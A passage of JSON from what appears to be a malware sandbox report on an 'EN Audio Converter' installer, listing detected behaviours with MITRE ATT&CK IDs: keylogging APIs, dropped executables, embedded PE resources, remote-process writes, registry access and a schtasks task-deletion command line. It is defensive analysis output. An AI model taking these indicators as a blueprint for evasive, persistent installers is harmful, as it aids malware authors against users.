patterns","description":"$46","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"MapVirtualKeyA\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")\n Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")\n Found reference to API \"GetKeyNameTextA\" (Indicator: \"GetKeyNameText\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"function GetComputerNameString: String;\" (Indicator: \"GetComputerName\"; Source: \"00000000-00005244.00000000.67138.00401000.00000020.mdmp\")\n Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")\n Found reference to API \"GetComputerNameString\" (Indicator: \"GetComputerName\"; Source: \"00000000-00005244.00000000.67138.04770000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00000824.00000000.67101.04EB0000.00000004.mdmp\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00001844.00000000.67907.004B0000.00000002.mdmp\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp, 00000000-00005244.00000000.67138.04770000.00000004.mdmp, 00000000-00005244.00000000.67138.733B7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00000824.00000000.67101.04EB0000.00000004.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001844.00000000.67907.004B0000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp, 00000000-00005244.00000000.67138.04770000.00000004.mdmp, 00000000-00005244.00000000.67138.733B7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00005244.00000000.67138.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"$47","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$48","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"\"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 00000000-00005244.00000000.67138.00401000.00000020.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 00000000-00005244.00000000.67138.00401000.00000020.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\\" (Indicator: \"microsoft\\windows\\currentversion\\app paths\") in Source: 00000000-00005244.00000000.67138.00401000.00000020.mdmp\n \"oftware\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\EN Audio Converter_is1\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 00000000-00005244.00000000.67138.028F0000.00000004.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\EN Audio Converter_iX\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 00000000-00005244.00000000.67138.04770000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to keylogger","description":"Found string \"f[j6jf>jf276jf2j?f61jj?6>*)}]+>jfY)>&}]j$?35@%1\" (Indicator: \"\"; File: \"is-HPLU5.tmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-556","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"$49","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00000824.00000000.67101.03030000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00001844.00000000.67907.036A0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00002852.00000000.67413.03120000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00005244.00000000.67138.028F0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DriverStore\\FileRepository\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00005244.00000000.67138.028F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp, 00000000-00005244.00000000.67138.733B7000.00000002.mdmp\")\n Found reference to API \"SetWindowsHookExA\" (Indicator: \"SetWindowsHook\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")\n Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp, 00000000-00005244.00000000.67138.733B7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$4c","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"\"file.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\USERS\\HAPUBWS\\APPDATA\\LOCAL\\TEMP\\IS-7FJGB.TMP\\FILE.TMP\"; Value: \"\")\n \"file.tmp\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSWOW64\\SCHTASKS.EXE\"; Value: \"\")\n \"file.tmp\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\USERS\\HAPUBWS\\APPDATA\\LOCAL\\IRAMSOFT\\EN AUDIO CONVERTER\\DIOCONVERTERRIPPER.EXE\"; Value: \"\")\n \"schtasks.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CONHOST.EXE\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"smss.exe,csrss.exe,wininit.exe,winlogon.exe,services.exe\" (Source: \"00000000-00005244.00000000.67138.028F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutex\" (Indicator: \"CreateMutex\"; Source: \"00000000-00005244.00000000.67138.00401000.00000020.mdmp\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00005244.00000000.67138.00401000.00000020.mdmp, 00000000-00005244.00000000.67138.0049B000.00000004.mdmp, 00000000-00005244.00000000.67138.004A1000.00000002.mdmp, 00000000-00005244.00000000.67138.733B7000.00000002.mdmp\")\n Found reference to API \"procedure CreateMutex(const Name: String);\" (Indicator: \"CreateMutex\"; Source: \"00000000-00005244.00000000.67138.00401000.00000020.mdmp\")\n Found reference to API \"OpenMutexA\" (Indicator: \"OpenMutex\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")\n Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"_iscrypt.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\is-COCHO.tmp\\_isetup\\_iscrypt.dll]- [targetUID: 00000000-00005244]\n \"file.tmp\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\is-7FJGB.tmp\\file.tmp]- [targetUID: 00000000-00000824]\n \"_setup64.tmp\" has type \"PE32+ executable (console) x86-64 for MS Windows\"- Location: [%TEMP%\\is-COCHO.tmp\\_isetup\\_setup64.tmp]- [targetUID: 00000000-00005244]\n \"_RegDLL.tmp\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\is-COCHO.tmp\\_isetup\\_RegDLL.tmp]- [targetUID: 00000000-00005244]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"$4d","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Found Delphi 4 - Delphi 2006 artifact","description":"\"file\" has a PE timestamp using the buggy magic timestamp 0x2A425E19.\n \"is-OVA8F.tmp\" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Wed Apr 4 20:21:11 2001\n \"file.tmp\" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Tue May 18 20:14:06 2004","origin":"Static Parser","relevance":10,"id":"static-19","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"file\" was detected as \"Borland Delphi 4.0\"\n \"is-OVA8F.tmp\" was detected as \"Borland Delphi 3.0\"\n \"file.tmp\" was detected as \"Borland Delphi 3.0\"\n \"is-DQV0E.tmp\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"is-SAM9T.tmp\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"is-NS8P1.tmp\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"is-D6C75.tmp\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"is-FP29R.tmp\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"is-LNM07.tmp\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"is-8S264.tmp\" was detected as \"Microsoft visual C++ v7.0\"\n \"is-BF2RD.tmp\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"is-BVAGG.tmp\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"is-S1360.tmp\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"is-RC03K.tmp\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"is-1109E.tmp\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"RuntimeBroker.exe\" (Indicator: \"runtimebroker.exe\")\n \"backgroundTaskHost.exe\" (Indicator: \"backgroundtaskhost.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"file.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"file.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"file.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"schtasks.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"DioConverterRipper.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".rdata\n .rsrc with unusual entropies 7.02822256305\n 7.75712479835","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":3,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to query local/system time as file time","description":"$4e","origin":"API Call","mitre_attack_id":"T1070.006","relevance":3,"id":"api-223","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"14/69 Antivirus vendors marked sample as malicious (20% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$4f","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$50","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"suspicious","category":"Network Related","name":"Contains ability to identify remote systems","description":"Found string \"Ping failed; helper seems to have died.\" (Indicator: \"ping \"; Source: \"00000000-00005244.00000000.67138.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":1,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"WmiPrvSE.exe\" (Indicator: \"wmiprvse.exe\"; in Source: \"00000000-00005244.00000000.67138.028F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used for keylogging","description":"\"file.tmp\" called \"GetKeyState\" with parameters {\"nVirtKey\": \"27\"}","origin":"API Call","mitre_attack_id":"T1056.001","relevance":10,"id":"api-40","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate services","description":"\"file.tmp\" called \"EnumServicesStatusExW\" with parameters {\"hSCManager\": \"29317c8\"\n \"dwServiceType\": \"48\"\n \"dwServiceState\": \"1\"}","origin":"API Call","mitre_attack_id":"T1007","relevance":5,"id":"api-174","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found system commands related strings","description":"Found string \"Ping failed; helper seems to have died.\" (Indicator: \"ping\"; Source: \"00000000-00005244.00000000.67138.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"file.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\is-7FJGB.tmp\\file.tmp\" for deletion\n \"file.tmp\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\IramSoft\\EN Audio Converter\\Lang\\AudioConverterRipper.dat\" for deletion\n \"file.tmp\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\IramSoft\\EN Audio Converter\\Lang\\AudioConverterRipper.txt\" for deletion\n \"file.tmp\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\IramSoft\\EN Audio Converter\\Lang\\Feedback.dat\" for deletion\n \"file.tmp\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\IramSoft\\EN Audio Converter\\Lang\\MusicType.txt\" for deletion\n \"file.tmp\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\IramSoft\\EN Audio Converter\\Lang\\Update.log\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$51","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"suspicious","category":"System Security","name":"Writes registry keys","description":"$52","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"is-DQV0E.tmp\" claimed CRC 607304 while the actual is CRC 734028\n \"is-U81O5.tmp\" claimed CRC 525582 while the actual is CRC 607304\n \"is-3ND5L.tmp\" claimed CRC 524501 while the actual is CRC 525582\n \"is-SAM9T.tmp\" claimed CRC 419906 while the actual is CRC 524501\n \"is-NS8P1.tmp\" claimed CRC 410963 while the actual is CRC 419906\n \"is-D6C75.tmp\" claimed CRC 417662 while the actual is CRC 410963\n \"is-FP29R.tmp\" claimed CRC 387643 while the actual is CRC 417662\n \"is-LNM07.tmp\" claimed CRC 361935 while the actual is CRC 387643\n \"is-PISV5.tmp\" claimed CRC 343351 while the actual is CRC 361935\n \"is-BF2RD.tmp\" claimed CRC 350869 while the actual is CRC 376775\n \"is-BVAGG.tmp\" claimed CRC 351462 while the actual is CRC 350869\n \"is-RC03K.tmp\" claimed CRC 306371 while the actual is CRC 315258\n \"is-1109E.tmp\" claimed CRC 300169 while the actual is CRC 306371","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$53","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"PE file contains executable resources","description":"is-OVA8F.tmp has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32+ executable (console) x86-64\n for MS Windows\n is-OVA8F.tmp has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32 executable (GUI) Intel 80386\n for MS Windows\n is-OVA8F.tmp has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB)\n for MS Windows\n file.tmp has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32+ executable (console) x86-64\n for MS Windows\n file.tmp has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32 executable (GUI) Intel 80386\n for MS Windows\n file.tmp has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB)\n for MS Windows","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":10,"id":"static-97","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"14/69 Antivirus vendors marked sample as malicious (20% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"schtasks.exe\" loaded module \"%WINDIR%\\SysWOW64\\taskschd.dll\" at 73980000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"file.exe\" wrote 00000004 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\is-7FJGB.tmp\\file.tmp\" (Handle: 592)\n \"file.tmp\" wrote 00000004 bytes to a remote process \"C:\\Windows\\SysWOW64\\schtasks.exe\" (Handle: 1116)\n \"file.tmp\" wrote 00000004 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\IramSoft\\EN Audio Converter\\DioConverterRipper.exe\" (Handle: 1092)\n \"file.tmp\" wrote 00000004 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\IramSoft\\EN Audio Converter\\DioConverterRipper.exe\" (Handle: 1084)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Tries to disable/delete scheduled tasks","description":"Process \"schtasks.exe\" with commandline \"/Delete /F /TN \"DCR1171\"\" (UID: 00000000-00006584)","origin":"Monitored Target","mitre_attack_id":"T1562.001","relevance":7,"id":"target-177","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$54","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"file/memory contains long string(File: \"is-GUR7G.tmp\")\n file/memory contains long string(File: \"is-D6SA7.tmp\")\n file/memory contains long string(File: \"is-9CHEU.tmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; Source: \"00000000-00002004.00000000.75598.0049B000.00000004.mdmp, 00000000-00002004.00000002.79446.0049B000.00000004.mdmp\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; Source: \"00000000-00002748.00000001.78573.02030000.00000004.mdmp, 